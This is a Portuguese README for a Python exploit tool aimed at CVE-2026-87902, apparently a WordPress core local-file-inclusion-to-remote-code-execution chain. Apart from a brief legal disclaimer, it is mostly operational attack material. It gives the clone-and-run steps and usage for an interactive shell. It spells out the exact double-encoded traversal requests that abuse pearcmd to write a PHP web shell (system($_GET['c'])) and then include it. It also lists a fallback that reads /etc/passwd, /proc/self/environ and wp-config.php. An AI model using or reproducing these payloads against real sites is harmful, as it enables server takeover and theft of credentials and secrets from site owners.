Exploit em Python para CVE-2026-87902, uma cadeia LFI-to-RCE do WordPress Core. Identifica versões, grava um shell PHP via pearcmd e fornece execução de comandos ou fallback LFI.
⚠️ AVISO LEGAL Usá-lo contra sistemas que não lhe pertencem ou para os quais não tem autorização escrita de teste é ilegal e punível ao abrigo das leis de cibercrime. O autor não assume qualquer responsabilidade pelo uso indevido.
| Campo | Valor |
|---|
| CVE | CVE-2026-87902 |
| Tipo | Local File Inclusion (LFI) → Remote Code Execution (RCE) |
| CWE | CWE-98 |
| CVSS v3.1 | 9.2 (Crítico) |
| Vetor de Ataque | Rede (Não Autenticado) |
| Afetado | WordPress 4.7.0 – 7.1.1 |
| Corrigido | WordPress 7.1.2 (e backports até 4.7.37) |
| Causa Raiz | get_page_template() não chama validate_file() após descodificar o URL do parâmetro pagename, permitindo travessia com dupla codificação (%252E%252E%252F) para contornar a sanitização e incluir ficheiros .php arbitrários fora do diretório do tema. |
Para RCE completo, todas as seguintes condições devem ser verdadeiras:
page-* de nível superior (ex.: page-templates/)pearcmd.php está presente e é legível pelo utilizador do servidor web (padrão em imagens oficiais do PHP Docker e muitas instalações cPanel com PHP < 8.5)register_argc_argv=On (padrão em PHP < 8.5)Se alguma destas condições faltar, o exploit recorre a leitura de ficheiros apenas via LFI.
exploit.py # Script de exploit principal README.md # Este ficheiro report.json # (opcional) Relatório de saída quando -o é usado
Instalação:
apt update
apt upgrade
apt install python
apt install git
pip install requests
git clone https://github.com/zyphorixofficialmain-lab/cve-2026-87902
cd cve-2026-87902
python3 exploit.py -t https://site.com -v
Isto irá:
· Identificar a versão do WordPress e o tema ativo · Verificar o intervalo de versões vulneráveis · Localizar um ID de página publicada (REST → sitemap → força bruta) · Tentar escrever uma shell PHP via pearcmd.php · Tentar incluir a shell e executar id · Se o RCE falhar, recorrer a LFI em ficheiros sensíveis
python3 exploit.py -t https://site.com -c "id"
python3 exploit.py -t https://site.com -i -v
Dentro da shell:
wp$ id
wp$ uname -a
wp$ cat /etc/passwd
wp$ exit
python3 exploit.py -t https://site.com -o report.json -v
python3 exploit.py -t https://site.com -c "whoami" -o report.json -v
🧾 Referência da CLI
Flag Longa Descrição -t --target Obrigatório. URL do WordPress alvo (sem barra final). -c --command Executar um único comando de shell após o RCE. -i --interactive Abrir uma shell interativa após o RCE. -v --verbose Imprimir progresso detalhado. -o --output Guardar o relatório final em JSON no caminho indicado. -h --help Mostrar ajuda.
🔄 Fluxo do Exploit
[1] Identificação
├─ Versão do WordPress (meta generator / asset ?ver=)
└─ Tema ativo (/wp-content/themes/<name>/)
[2] Verificação de versão
└─ 4.7.0 – 7.1.1 ? continuar : avisar e continuar
[3] Encontrar ID da página
├─ REST: /wp-json/wp/v2/pages
├─ Sitemap: /wp-sitemap.xml
└─ Força bruta: /?page_id=1..30
[4] Verificar diretório page-*
├─ page-templates
├─ page-template
├─ pages
├─ templates
└─ page
[5] Escrever shell via pearcmd
└─ POST /?+config-create+/&page_id=<id>&pagename=templates%252F..%252F..%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd
body: root=<?php system($_GET['c']); ?>
[6] Incluir shell
└─ GET /?page_id=<id>&pagename=templates%252F..%252F..%252Ftmp%252F<shell>.php&c=id
[7] LFI de recurso (se o RCE falhar)
├─ /etc/passwd
├─ /etc/hostname
├─ /proc/self/environ
├─ /proc/version
├─ wp-config.php
└─ variantes ../..